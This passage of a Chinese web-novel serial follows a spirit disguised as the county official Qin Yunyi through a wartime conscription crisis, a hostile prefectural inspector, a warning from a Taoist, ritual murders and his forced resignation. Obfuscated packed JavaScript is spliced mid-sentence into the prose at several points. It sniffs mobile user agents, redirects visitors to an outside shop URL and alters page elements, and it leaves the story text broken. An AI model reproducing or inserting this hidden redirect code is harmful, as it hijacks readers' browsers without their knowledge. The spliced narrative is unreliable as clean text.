秦云意仔细看了文书,又调阅了织坊往年税赋记录和雇工名册,发现柳家裳所言非虚:这织坊养活了许多女工,其中不少是丈夫出征或亡故、独自拉扯孩子的妇人。当然,它更是曲阳城一项重要的税收来源和物资储备。 “民生所系,女工尤艰。官府可协,以保工坊,安民心。” 他提笔在文书上写下这几句话,并随之附上几条具体措施,例如:由县衙出具公文,证明其军需身份,方便采购,同时协调本地钱庄,提供低息借贷以周转,采购成功之后,织坊还需优先保障本城平民用布,并以优惠价格供应县学,等等等等。 “将此文书及我的意见,呈送徐大人,他会同意。另,告诉城南织坊的柳夫人,事情已成。”批注完毕,他叫来赵书吏,郑重其事地说。 赵书吏接过文书,看到批注,心中暗自佩服。这位秦主事,做事不仅雷厉风行,更难得的是心细如发,体恤民情,尤其是对柳氏这样的女子,也毫无轻视之意,反而格外尊重扶持。这在讲究“男女有别”、“夫死从子”的世道里,实属异数啊。 “主事。”赵书吏忍不住多嘴一句,“柳夫人一介女流,若直接回信,恐惹闲话。是否……让她的管事来办更为妥当?” 秦云意抬眼看他,目光平静,语气却带着不容置疑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦云意与蓝主簿对视一眼,一同走向二堂,此刻,二堂内气氛肃穆,只见徐县丞坐在主位,眉头紧锁,案几上还摊开一卷帛书,上面盖着鲜红的郡守府大印。 “秦先生,蓝主簿,来的正好,你们看看这个。”徐县丞将帛书推过来。 秦云意上前,与蓝主簿一同观看。帛书是郡守府发往北境各县的紧急公文,内容触目惊心: 燕军率五万精锐,突破赵国北境防线,连下三城,兵锋直指邯郸以北重镇武安!赵王急令全国动员,征调所有可用兵员、粮草,支援前线。郡守府严令:北境各县,即日起进入战时状态!所有十五岁以上、五十岁以下男丁,无论此前是否已征、是否残疾、是否担任公职,一律重新登记造册,接受二次征调!至于各县储粮,除留足本地军民三月口粮外,其余全部征为军粮,限期运往武安大营!违令者,以贻误军机论处! “二次征调……”蓝主簿倒吸一口凉气,“这……这岂不是要将曲阳掏空?丁壮已十去六七,剩下的多是老弱病残,再征,谁来种地?谁来守城?还有粮食,去年长平、今年春征,早已所剩无几,哪还有余粮上缴?” “军令如山,岂容置疑?郡守府公文在此,我等唯有遵令行事!”郑县尉拿着刀,在一旁沉声道。 “秦先生,你意下如何?”徐县丞揉着眉心,看见秦云意来了,就像抓住救命稻草一样,忙问道。 秦云意放下帛书,心中沉重。唉,该来的,终究还是来了,燕赵大战再起,且形势对赵国极为不利。这道命令,无异于竭泽而渔,想要将北境最后一点民力物力,全部抽干,填入前线那个黑压压的无底洞去。 “大人,军令不可违,然曲阳实际情况……大人亦清楚。若强行按此令执行,恐丁壮征尽,田地荒芜,存粮罄空。届时,莫说支援前线,便是本城军民,亦将陷入绝境。” “那你说怎么办?”郑县尉语气不善,“难道我等还抗命不成?” “下官不敢。”秦云意说,“下官以为,当务之急,是核实本城实际丁口、存粮实数,据实上报郡守府,恳请酌情减免。同时,加紧动员,能征多少是多少,能筹多少粮是多少。但……” 他话锋一转,“须有章法,不可如上次般,任由胥吏差役横征暴敛,激起民变。” 徐县丞沉吟。这秦云意说的,是稳妥之法,据实上报,或许能争取到一些宽限,但郡守府如今也压力巨大,能否通融,实在难说。 “也只好如此了。”徐县丞叹道,“秦先生,你即刻组织人手,重新核查丁册、粮册,务必准确!蓝主簿,你负责草拟呈文,陈明我曲阳苦衷。郑县尉,城防和征调事宜,由你总揽,务必稳妥,不可生乱!” “下官领命!”三人齐声应道。 从二堂出来,秦云意面色凝重,如今,刚刚好不容易有了一丝起色的曲阳城,恐怕又要再次陷入动荡了。 他快步走向西市。 茶摊边,周三、孙老、李匠人等人正聚在一起闲聊,脸上还带着清丈和修渠带来的些许轻松,见秦云意匆匆而来,神色不对,全对视一眼,站了起来。 “秦主事,出什么事了?”周三忙问。 “北边战事紧急,邯郸来了严令,要二次征丁征粮。” 短短一句话,如冷水泼进热油锅,三人脸色瞬间煞白。 “二……二次征调?”孙老声音直直发颤,“上次征的,还没回来几个……这、这是要把人往死里逼啊!” “粮食也没了……去年存的种粮,春天都吃差不多了……”李匠人也喃喃道。 茶摊其他茶客也围拢过来,听到消息,顿时炸开了锅,惊恐、愤怒、绝望的情绪迅速蔓延。 秦云意抬手,压下嘈杂:“各位父老,稍安勿躁!此事县衙已知晓,徐大人正在设法周旋,会据实上报本城困难,恳请上峰体恤。但在命令更改之前,征调不可避免。” “秦某在此,向各位保证两件事:第一,此次征调,必按律令章程进行,绝不容胥役借机勒索、欺凌!凡有违规者,严惩不贷!第二,县衙会尽全力,保住各户最基本的生存口粮和种子,绝不让大家活活饿死!” 他的声音并不高亢,却带着一种沉静的力量,让慌乱的人群稍稍安定下来。 “秦主事,我们信您!”语毕,一个汉子喊道,“可……可这仗,什么时候是个头啊!” “是啊,年年打,月月征,这日子,没法过了……”悲愤的低语再次响起。 秦云意也是心中苦涩。是啊,这仗,什么时候是个头?七国纷争,弱肉强食,受苦的永远是底层百姓。他一人之力,又能改变多少? 但他不能倒下,更不能表现出软弱。 “日子再难,大家也要过下去。”他提高声音,“只要我们人还在,田还在,就总有希望!上次我们能清田修渠,这次,我们也要想办法,挺过去!” 民众听秦云意这番鼓励的话语,心中勉强有了底,他们左右看看,互相说了几句鼓励的话,便缓慢散开了。 “周三,你联络的各家商户,加快进度,边境商路若还能走通,或许是一条活路,至少能让急需的物资进来。”秦云意看向周三,小声地与其商讨起来。 “秦主事,就听您的!” 秦云意点点头,不再多言,转身离开,他还要回县衙,主持丁粮核查,那将是又一场与时间和金钱的博弈 走到街口时,他若有所感,回头望去。 茶摊斜对面,那家香烛纸马铺的屋檐下,青袍道人不知何时又站在那里。依旧是一身朴素道袍,手持拂尘,静静望着这边。见秦云意看来,道人再次微微颔首,目光在他脸上停留了一瞬,那眼神……似乎比上次多了些深意,不是审视,倒像是……带有了些鄙夷和讽刺意味在? 这道士,到底意欲何为?为何总在紧要关头出现? 但时间紧迫,他无暇深究,只是朝道人略一拱手,便匆匆赶回县衙。 夕阳西下,如今,新的风暴已至,风刮满天,山雨将要袭来了。 14. “非我族类,其心必异” 二次征调到了。 恐慌蔓延的速度比秦云意预想的更快,他刚告别茶摊,回到县衙门前,就看见黑压压的人群围在八字墙前,对着刚张贴出的告示指指点点,议论声嘈杂而布满恐惧。以至于让秦云意开始后悔,自己着实不应该这么快告诉他们。 这告示是徐县丞命人张贴的,上面内容简明扼要:奉郡守府急令,北境战事吃紧,即日起曲阳全城丁壮重新核册,存粮统一清点。具体征调细则,待县衙核查完毕、上报核准后另行公布,末尾还强调了依法执行,一并并盖着鲜红的县丞大印。 衙役们此时也如临大敌,一个个手持棍棒拦在门前,不敢太过于呵斥驱赶,场面一度混乱,秦云意看着这番景象,眉头紧蹙,快步上前,让班头告诉民众去推举几个代表,与他共同在二堂外院议话。 班头认得他,连忙应诺。不多时,几个看起来还算镇定的乡老就被引了进来,个个面带忧色。 “秦主事,这二次征调,是不是真的连瘸子瞎子都要拉走?”一位老人颤声问。 “朝廷法令,十五至五十男丁,皆在册内……”秦云意抿抿嘴,并没有隐瞒。 “但具体如何执行,伤残者如何认定,县衙会拟定细则,上报郡守府核准。绝不会不分青红皂白,一概拉走。” “那粮食呢?我家就剩半瓮粟种,还是留着明年春播的!要是连这也征走,一家老小就只能等死了!”另一个乡老忙急道。 “诸位放心!徐大人已严令,此次征粮,必先核实各户存粮实数,按户留足基本口粮,方征余粮!若有胥役敢强抢口粮种子,秦某与徐大人保证,诸位可直报县衙,秦某等定严查不贷!” 乡老们将信将疑,但见他神色坦诚,言语有力,不像敷衍,心中稍安,答应回去继续安抚邻里。秦云意见大家佝偻的背影,心中不忍,可当他转身准备回衙时,眼神却无意间扫过一个人。 ……什么?青袍道人,他居然到了这里? 只不过这次,此人没有远远观望,而是朝着秦云意走了过来,只见此道人步伐从容,拂尘轻摆,在走到秦云意面前约三步处停下时,他打了个稽首。 “无量天尊,这位施主,请了。” “道长……有礼了。” 道人抬眼,目光在秦云意脸上停留片刻,那种冰冷的审视,像针尖一样,正轻轻刺探着他的伪装。 “方才某见施主安抚百姓,言辞恳切,条理分明,颇具担当,在这纷乱世道,能如此为民请命者,实属难得。” 道人缓缓开口,声音清朗。 “道长过誉。”秦云意道,“秦某分内之事罢了。” “分内之事?施主看来并非曲阳本地人。”道人对此微微一笑。 “游学至此,蒙徐大人赏识,暂居幕职。” “哦?不过,某观施主气度,确非池中之物。只是……这红尘浊世,因果纠缠,是非之地,往往也是劫难之所。施主身负异禀,更需谨言慎行,莫要轻易沾染过深因果,以免……招致无妄之灾啊。” 他捋捋胡须。 语毕,秦云意心中猛地一震。果然,这道人,当真看出什么了! “道长此言,乐不甚明了。既食君禄,自当忠君之事,为百姓解难,何来因果劫难之说?”秦云意按捺住心中波澜,神色保持始终不变。 “施主心志可嘉,只是……天道幽微,人心叵测。有些路,看着是坦途,或许尽头是深渊,有些事,以为是功德,或许反成业障。尤其是……非我族类,其心必异,施主以为然否?” 非我族类,其心必异?? 听闻此话,秦云意捏紧拳头,他迎上道人的目光,声音不禁冷了几分: “道长话中机锋太深,乐愚钝,听不明白。乐只知,眼前百姓受苦,力所能及,便当伸手。至于其他……乐素来行事,但求无愧于心,何惧人言?” 道人闻言,沉默片刻,之后笑了笑。 “无愧于心……好一个无愧于心啊。”道人喃喃重复着他刚才的话。 “既如此,贫道便不多言了,只是临别赠施主一言:月满则亏,水满则溢,施主,好自为之。” 说完,他不再停留,转身飘然而去。 秦云意站在原地,心中感慨万千。 ——这道士,刚刚分明是在警告自己! 他慌忙深吸一口气,努力压下心中纷乱,快步走回县衙,眼下最要紧的还是应对征调之事,至于这道士的威胁……没办法,只能见招拆招,加倍小心了。 文书房里,赵书吏等人正忙得焦头烂额。秦云意一回来,就立刻召集所有书吏,宣布进入紧急状态,要求核查。这工作量大得惊人,文书房灯火彻夜不熄,众人忙得脚都不沾地,但对秦主事依旧心服口服,不敢有丝毫懈怠。 隔壁的蓝主簿和郑县尉也没闲着,一个负责草拟呈给郡守府的陈情文书,绞尽脑汁罗列曲阳困难,近日踱步踱的咚咚响,郑县尉那边则开始整备城防,清点武库,同时派出兵卒在四门加强巡逻,以防民变或细作出现。 此时,整个县衙就如同一架突然绷紧的发条机器,紧张而压抑地运转着。 至于西市那边,茶摊也比往日冷清许多,徐伯独眼望着街面,见秦云意抽空来了一趟,众人便立刻围拢过来。那周三说自己查到了,说通往燕国的路还有一条隐秘小道,可以勉强通行,就是风险极大,过程中需打点沿途的关卡和游兵,花费不菲。他还告诉他,有个叫“马六”的黑货贩子,路子野,胆子大,但嘴也严,虽说那人自己能牵头,但要与官府先谈好分成,而且要保他本人和兄弟们的安全。 听闻此话,秦云意当即下令,让周三使那马六与他见面,就在“悦来茶铺”,虽然周三有些担心,觉得那马老六并不什么是善茬,但非常时期,见秦云意斩钉截铁,最终便认了。 另一边县衙里,文书坊统计的结果也出来了,不巧,可以说是触目惊心:曲阳城在册男丁实际留存不足四千,其中还有近三成是伤残者。存粮方面,实际仅七千石,平均城内每户不足两石,许多家庭已濒临断炊。而按照郡守府的命令,这四千男丁还几乎要全部征走,存粮也要征调大半! 真是沉甸甸的数据啊…… 未时,秦云意去见了徐县丞,禀告了这份数据,徐县丞看完,脸色甚是灰败,两手不停揉着太阳穴,秦云意就目前所闻,结合实际,向他提出了:开仓借贷、组织商队的方法,但……这些若被上面知道,极易被扣上各种帽子。 “秦先生,这……风险太大啊。”徐县丞犹豫不决。 “非常之时,当行非常之法,此事,某愿承担所有责任。毕竟,坐以待毙是死,冒险一搏,或许还有生机……”他这么说着。 徐县丞挣扎良久,最终拗不过秦云意,一咬牙,拍案而决。 “好……既然先生有胆量,那开仓借贷、组织商队之事,本官准了。” 话音刚落,隔壁本该在文书房的赵书吏,此刻却神色慌张,汗流浃背,见秦、徐二人正商讨事物,于是连滚带爬地跑了进来。 “县丞,主事!郡守府来人了!” “什么?!”徐县丞大惊失色。 “难道说,先前的批复文书到了?”秦云意问道。 “不是批复文书!不是!不是!是郡守府长史,王长史,他亲自来了!还带着十几名随从,我在门外,偷看见他们直奔县衙来了!”赵书吏连忙摆手,嘴里都带着些哭腔了。 郡守府长史?秦云意暗自惊讶,身旁的徐县丞更是腿一软,差点没站稳,慌忙扶住桌案。 要知道,郡守府长史,那可是郡守的左膀右臂!掌文书、参谋、监察属县,位高权重,如非紧要大事或郡守亲自指派,绝少亲临下属县城——更何况是曲阳这样的边陲小城!更何况是在这个节骨眼,北境又刚遭袭,什么物资调配,善后事宜都还一团乱麻,他徐县丞肚子里还有一堆烂账没捂严实,王长史突然驾到……真凶多吉少啊! “快!快随我去迎接!”徐县丞也顾不得仪态了,胡乱整理了一下官服,顺道还瞪了赵书吏一眼。 “你个没出息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153439|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的家伙,慌什么!稳住!秦先生,你也速速随我来!” 之后,衙口便传来一阵沉稳的脚步声——是王长史到了,蓝主簿和郑县尉闻声,也都赶来了。 二堂内,气氛凝重。 刚刚还在一脸官威的徐县丞,不一会儿就已弯着腰,陪坐在下首,低三下四地陪着一位中年官员说话,只见此人着深绿色官服,面白微胖,正是那郡守府长史王绰,王卓然。他端坐在上首太师椅上,手里捧着一盏刚沏好的热茶,正慢条斯理地掀开盏盖,凑到嘴边,轻轻吹拂着水面浮起的几片茶叶,至于对徐县丞的殷勤搭话,只是偶尔“嗯”、“啊”两声,连眼皮都懒得抬一下。 不过,当他看见秦云意这个从未见过的生面孔后,眼皮还是抬了一下,扫了他一眼。 “下官秦乐,见过王长史。”秦云意心领神会,躬身行礼。 王长史“嗯”了一声,放下茶盏,没有立刻让秦云意起身。 “这位便是徐县丞信中屡次提及、才干超群的秦主事?果然,是年轻有为啊。” 几息之后,这王长史才放下茶盏,慢悠悠地说道。 “长史谬赞,下官愧不敢当。” “既然如此,起来吧,秦主事,不必过谦。本官此次奉郡守之命前来,一为巡视北境诸县备战情形,二嘛……” 他顿了顿,意味深长地看了徐县丞一眼。 “徐县丞,你方才说,北境军情紧急,物资调配、善后安抚,千头万绪?” “是,是,王长史明鉴。燕狗凶残,曲阳下属几成白地有的死伤惨重,粮秣焚毁……”徐县丞连忙应道。 王长史摆了摆手,即刻打断了他的诉苦。 “这些,军报上早已写明。不过,我听闻县衙这位新招来的秦主事,倒是最近做了些‘大动作’啊。” “回大人,秦某所做,只是“微末举措”。” “微末举措……”王长史脸上似笑非笑。 “那清田均赋,以工代赈,如今又想设贷济仓,尤其是这‘贷济仓’啊,说是开官仓借贷于民,嗯……真是颇有古仁人之风啊。” 他拖长了声音。 “只是……如今国事艰难,军粮催逼甚急。郡守担心,曲阳,是否心思都用在‘惠民’上,怠慢了‘王事’?” 徐县丞听闻这话,像糟了雷劈一般,额头直直冒汗,一旁的蓝主簿和郑县尉两眼鼻子一横,仿佛是不闻琐事一般,嘴角却隐隐有些上扬。 “长史明鉴,曲阳所作所为,其实正是为保‘王事’无虞。”秦云意上前一步,拱手称。 “民为邦本,本地若乱,粮草何来?兵源何出?清田均赋,是为厘清税基,充实府库,以工代赈,是为安定流民,稳固地方,设贷济仓,是为保住民力,以待来年征调。此皆环环相扣,皆为支援前线、稳固后方之长远计……我等县衙,岂敢怠慢‘王事’?” 他语气不卑不亢,条理清晰,王长史盯着他,竟然哈哈一笑。 “好一张利口!秦主事,果然见识不凡啊!那也罢,本官此次前来,正要亲眼看看曲阳这长远之计,成效如何。徐县丞,你明日便安排本官巡视城防、粮仓,并召见各坊里正、乡老,本官要亲自听听民声!” “是,下官遵命。”徐县丞连忙应下。 王长史的到来,又给曲阳城激起了一番涟漪,接下来的几天,这位长史大人果然“勤勉”,每日不是巡视城防、检视武库,便是召见胥吏、乡绅问话,尤其是对将要实行的“贷济仓”的账目,和借贷名单盘问得尤为细致。徐县丞和秦云意对此全程陪同,无奈,只能小心应对。 而且……这王长史,似乎还对蓝主簿和郑县尉颇为客气,时常单独召见二人密谈,而蓝、郑二人在王长史的庇护下,腰杆也不禁硬了几分。 ——这绝非是好兆头。秦云意想,看来,这位王长史,恐怕是带着郡守的“任务”来的。 可就在秦云意等人忙于应付王长史之际,城中除了二次征调的信息之外,竟悄然地流传起另一个令人毛骨悚然的怪事…… 15. 交易 这消息最初是从西市一个更夫那里传出来的。据他说,前夜四更天,他在城南打更时,闻到了一股极其浓烈的血腥味。等壮着胆子寻去,便在一处早已无人居住的破院墙根下,发现了一具男尸,尸体衣衫褴褛,像是流民,但死状极惨——胸口被剖开,心脏不翼而飞,脸上却带着一种诡异的笑容,此番场景把更夫吓得魂飞魄散,连滚爬跑去报官。 结果,郑县尉听闻,立刻带人勘察了现场,最终认定是流民之间的仇杀或疯人所为,草草记录,便将尸体拖去乱葬岗埋了。但消息却封锁不住,这事随着征调的消息一起,很快在坊间传开,还越传越邪乎。有人说那死者是被妖魔掏了心,有人说城南废巷闹鬼,还有人说是那些从北边战场逃过来的燕国萨满巫师,在用活人炼邪术…… 秦云意最初并未在意。战乱时期,流离失所者众,暴死街头并不稀奇。直到某天傍晚,他好不容易有闲心休息,便在茶摊听周三神神秘秘地提起。 “……秦主事,您听说了吗?城南那掏心案!” 周三压低声音,脸上带着些许惧色。 “我有个把兄弟,在义庄帮忙收尸,他说那尸体啊,古怪得很!不光心没了,浑身的血好像都被抽干了似的,干瘪得吓人!” 他顿了顿。 “而且……他之后还悄悄告诉我,说这已经不是第一起了!就在上个月,城外十里铺的荒庙里,也发现过一具类似的尸体,也是个流民!不过当时也说是仇杀,所以没人在意。” “上个月?也是挖心抽血?” “千真万确!”周三点头道。 “我那兄弟还说,说那两具尸体的伤口……一模一样!不像是刀剑割的,倒像是……被什么利爪活活掏开的!” 利爪?秦云意眉头蹙起。要知道,凡人仇杀,鲜少有如此残忍且特征一致的手段,难道真是……妖物所为? 他立刻想起山中精怪,随后暗自摇摇头,不对,自己山上那些同伴,它们虽为妖类,却早已被安排的不食血食,更不会用如此暴戾的方式杀戮凡人,而且最近,它们有的跟随自己,有的在山中休憩,都并未离开曲阳一分半毫。 那……如果这样说,难道是别的妖物?比如那些从北边逃难来的?毕竟世间战乱一起,天地气机紊乱,确实可能有妖魔鬼怪趁乱流窜,借此害人。但若真是妖物作祟……事情那就复杂了。 他又想起官府和那道士。没错,如果是妖鬼害人,凡人官府想必是难以应对,而一旦闹大,就极易引发恐慌,甚至可能引来修士注意——比如他前不久遇见神秘的青袍道人。 秦云意“啧”了一声,随即喝了几口茶。 “让你那朋友嘴巴严实点,记住,别再外传。”秦云意对周三道。 “另外,你也悄悄打听一下,最近城里或附近,有没有出现什么形迹可疑的外地人,或者……有没有其他类似的失踪、死亡案件。” “明白!”周三点头应下,随后又想到了什么。 “对了,差点忘了,马六那边也回话了,说明日午时,十里铺‘悦来茶寮’,他恭候大驾。” 秦云意点点头。次日午时,他就换了身不起眼的灰布短打,独自出了曲阳城。 马六口中的悦来茶寮,其实是在城西十里铺区域,十里铺是个早已荒废的驿铺,如今只剩下了几间破败的土屋,和一间勉强支撑的“悦来茶寮”。茶寮老板是个瘦弱的男子,见有客来,也不多问,倒了碗茶,便缩回灶台后,细细打盹了。 秦云意特地选了靠窗的位置坐下,慢慢喝着茶,这茶汤比徐伯那儿的还要更浑浊苦涩,或许是由于心中想了事,他竟未排斥。 这不,约定的时辰刚到,茶寮门口光线一暗,一个精瘦的男子就闪了进来,此人约莫四十来岁,肤色黝黑,脸颊有道深疤,眼神锐利如鹰,他穿着寻常的褐色短褐,但腰间鼓鼓囊囊的,显然藏着家伙。 他就是马六了。秦云意想。 那男子扫视一圈,目光落在秦云意身上,便径直走了过来,也不客套,只是一屁股坐下。 “秦主事?”他压低声音问。 “嗯。”秦云意颔首,“你便是马六?” “正是。”马六咧嘴一笑,露出一口被烟熏黄的牙。 “周三那小子说,主事所在的官府竟想走货?胆子不小啊,这当口。” “非常之时,行非常之事。不过马兄既肯来,想必也有门路?” 马六左右看看,凑近了些许。 “门路是有,就看官府肯出什么价,担多大干系。”他伸出三根手指。 “第一,我要三成份子,现钱结算,第二,我的人和我,事成之后,官府得给个干净身份,过往不究,第三,路上若出事,折了人或货,官府得兜底赔偿。” 条件真是苛刻。 “那马兄能否保证货路畅通?如今边境什么情形,你我应该都心知肚明。”秦云意说道。 “秦主事明鉴。虽然大路是断了,但有些羊肠小道、废弃关隘,知道的人不多,而燕军推进进度越快,这些地方反而越疏于防范。我在边境混了二十年,哪条耗子洞能钻,门儿清!再说了……” 他压低声音。 “武安那边,打成了一锅汤粥!这两边当兵的全都盯着前线,后边那些穷乡僻壤,油水少,没人愿意来。只要打点好沿途几个关键卡子的守军头目,运些粮食、盐铁、药材什么的过去,然后从燕国那边换回东西,像什么紧俏的军械零件,利润至少翻五倍!” “那马兄所说的‘紧俏的军械零件’,又是指什么?”秦云意在心中盘算着他刚刚的话,随后问道。 马六嘿嘿一笑。 “秦主事,您是个明白人。你看,这两边打仗,消耗巨大,有些损耗的弓弩,破损的甲片,甚至箭矢,赵国卖了出去,我们也能再买回来翻新。这生意,一本万利啊!要说一般人,这我可不接!” “不过,马兄既是想要官府出面担保,甚至参与分成,现在却要做这等杀头的买卖。若事泄,最后谁能保你?” 语毕,马六笑容收敛,眼中闪过一丝狠色。 “所以我说要看官府肯担多大干系!若只是睁只眼闭只眼,给点便利,那咱们就做点粮食布匹的小买卖。若真想赚大的,搏一把,那咱们全都得绑在一起!秦主事,实话跟您说吧,这生意,不止我一个人在做,那北边几个县,暗地里其实都有路子,只是大家都心照不宣。为啥?哼!因为前线吃紧,后方也难熬!这当官的也要钱打点上下,也要养兵养民,只要不过分,别捅到天上去,上面也是默许的!” 马六这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“在前些日子……的夜里,我这茶寮后头的林子里啊,总有一些动静。不是野兽,像是……人在哭!又像是在笑,哎呦,真是瘆得慌,与之而来的还有股子……血腥味。等第二天,我大着胆子去看,啥也没有,就是地上……有一摊黑乎乎的东西,像是……血浸透了土。” 又是血腥味!秦云意立刻联想到周三所说的掏心案。 “那掌柜可曾报官?” “报官?这十里八乡的谁不知道!不过官府现在只顾着征丁征粮,哪里有空管这些?再说了,无凭无据的,说不定还惹一身麻烦。所以,客官,听我一句劝,这地方……邪性!你还是赶紧回城吧。”做掌柜的苦笑称。 秦云意谢过掌柜,随后放下几枚茶钱,走出茶寮。 午后的阳光有些刺眼,正照着荒凉的驿路和远处起伏的山峦发亮。秦云意没有立刻回城,而是绕到掌柜所说茶寮后头——果然有一片稀疏的林子!地上落叶很厚,但空气中确实隐约残留着一丝若有若无的腥气。他蹲下身,果然也在一棵老槐树的根部,发现了几片颜色深暗、与周围泥土颜色不同的痕迹。 他伸手捻起一点——不错,确实是干涸的血迹,而且不止是一种生物的血,气息十分混杂。 不是寻常妖物,难道是魔?或者修炼了邪法、心智已失的妖? 秦云意站起身,思索着什么,在他看来,这东西,恐怕比预想的来说更加麻烦,毕竟这群妖怪和自己不一样,自己不会食人,不代表其他妖怪不会,更何况它手段残忍,行踪诡秘,若不尽快除掉,迟早会酿成大祸,甚至还可能闯入城中,杀死百姓! 他必须尽快行动,但在那之前,近些日子还得先应付完郡守府的王长史。 16. 罢官 待他回到县衙,已是申时。 秦云意刚一走进门,赵书吏便迎了上来,低声对秦云意说那王长史,在今日下午就召集了所有书吏问话,问了许多关于‘贷济仓’的问题,还有……他行事的细节,以及今日的去向。 “那你怎么说?” “我……我就说您出城巡视水利工程收尾去了。”赵书吏挠挠头,“但那王长史似乎压根不信,脸色不太好看。所以徐大人让您回来后,就立刻去二堂见他。” 秦云意点点头,径直走向二堂。此时的二堂内,只有徐县丞一人,他正负手望着窗外出神,神色充满疲惫。 “大人。”秦云意行礼。 徐县丞转过身,看着他叹了口气。 “秦先生,你坐吧。” “王长史此来,真是不善啊,你有所不知,他今日找我等问话,冒头句句指向那贷济仓和你,想必郡守府那边……怕是有人对我们近来的举措不满,借题发挥了些。”片刻之后,徐县丞用手撑着头,疲惫地开口。 “下官行事,皆在大人授权之下,为公为民,问心无愧。”秦云意回答他。 “唉……问心无愧……” 徐县丞苦笑几声。 “要我说,官场之上,有时候那‘心’,就是最不值钱的。所以王长史对我等颇有微词,说认为我们……收买民心,图谋不轨!” “图谋不轨?呵……”秦云意低低笑了几声,“那依那王长史之意,又该如何?坐视百姓全部饿死,田土一片荒芜,向上贿赂,不管不顾当个贪官,便是忠君爱国了?” 语毕,徐县丞猛地一哆嗦,急步上前虚掩门窗。 “哎呀!慎言,慎言!秦主事,慎言啊!”徐县丞慌忙摆手,眼神却躲闪着,不时往门帘外瞄去。 “秦先生,其实我一开始……也知道,你自始自终都是为了曲阳好。但……形势比人强嘛。王长史代表郡守,他的意思,便就是那郡守的意思……” 他靠近秦云意。 “……所以,王长史后日就要回邯郸。他这趟来,总得带点什么回去交代——要么是钱粮,要么就是……人。” 秦云意静静地听着他,没有说话。 见秦云意没搭话,徐县丞心里仿佛有了底,他眼睛转了转,随即继续继续开始说: “秦先生,要我说,您是个聪明人,所以有些路看着是绝路,绕个弯,不就海阔天空了?这道理,你应当比我更明白,故我思来想去,不如……你暂且,告病卸任?” 说到这儿,他仿佛在承受着什么“莫大的痛苦与无奈”一样。 “秦主事,你姑且站在我的位置想想看,若是真的一味硬扛到底,闹到革职查办那一步……别说你这些日子在曲阳耗尽心血的经营付诸东流,便是我……哎!我身为曲阳县丞,出了这等事,督管不严之罪是逃不掉的,怕也得受个牵连,落个不是啊!” 这个老谋深算的徐县丞!他的话语不仅巧妙地偷换了因果,还将可能到来的上级责难,全部转嫁成仿佛这一切是由于秦云意的“连累”,他才落得如此下场的。 真是一群算计的市侩毒物!秦云意咬着牙想,他在这一刻突然怀念起在山上的生活,至少自己是那儿的山君,而且手下没有一群狼心狗肺,腹如蜜剑的家伙在作祟! “呵……好一个两全其美啊。” 秦云意冷笑着吐出这几个字,如果不是因为道上规矩,他现在真的很想揍这群县衙人一顿。 “既然徐县丞如此挑明,那么秦某的官职……说来,其实微不足道,大人若觉为难,秦某可以辞去主事之职。” 他缓缓说,语毕,他听见徐县丞长舒一口气,像是了却了什么心中的顾虑一般。 “不过,县丞大人,秦某希望,秦某最后能以平民身份继续协助大人处理钱粮借贷、边境商队等事宜。如此一来,既给了王长史交代,也不至于误了正事,大人觉得如何?” 虽说如此,他还想再争取些什么。 “先生……这些,恐怕都无法做到……” 许久,徐县丞摇摇头,故作“苦涩”地回答。 秦云意心中一片冰冷,在见县丞一口咬定是要自己辞任,且再无法撬动半分之后,他沉默了,随即走出堂口。 他走到二堂院旁,只是右手扶胸,一言不发。近些日子,各种的事宜接连不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153441|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为了不让自己思量太多,于是他连日都用繁杂公务来屏蔽这些麻烦,结果就在刚刚,那徐县丞的话,就像一根“刺”,,瞬间打破了他的屏障,也狠狠地扎破了之后,他对于曲阳城百姓的,美好生活的幻想。 妖怪啊……妖怪也是无法停止思索的。他苦笑着心想。 尤其是自己这种吸收山间灵气的妖怪。 他又想到王长史的步步紧逼,还有蓝主簿、郑县尉的冷眼旁观,以及那个始终如芒在背的青袍道士……几乎所有压力,都在此刻汇聚成一股沉重的窒息感,这也是秦云意第一次清晰地感受到自己一人,哪怕身负妖术,想要在这盘根错节的人间里撬动一丝改变,是何等的渺茫!与艰难! 那普通人呢?普通人岂不是更难?!他这妖力能杀人,能遁形,还能呼风唤雨,就这样了,都改不了人心贪婪,填不饱百姓饥肠,更挡不住七国战争! 随后,一种深沉的无力感,混合着不甘与愤怒,在他胸中翻腾——他也是头一次觉得自己这么脆弱。 之后,他走回文书房。果不其然,赵书吏等小吏已得知消息,都面色复杂地看着他,想说什么,最终欲言又止。秦云意只是平静地告诫他们,说最好还是要考虑与处理与“贷济仓”相关的事务,然后便开始默默收拾自己的东西——其实也没什么私人物品,无非几卷常看的书,几支用惯的毛笔罢了。 夜色渐浓了。 前方,县衙为了设宴送长史,让小吏们今天点起了全部灯火,前院传来隐约的丝竹声,和一来二去不时的谈笑声,都是徐县丞等人在为明日返程的王长史设宴饯行。不过,那热闹是他们的,与秦云意无关。 今天,他没有去赴宴,也没有回厢房。心中那股子不服气的郁结之气实在难以排遣,他重新变回自己最开始穿着的黑袍,悄然从后门离开了县衙。 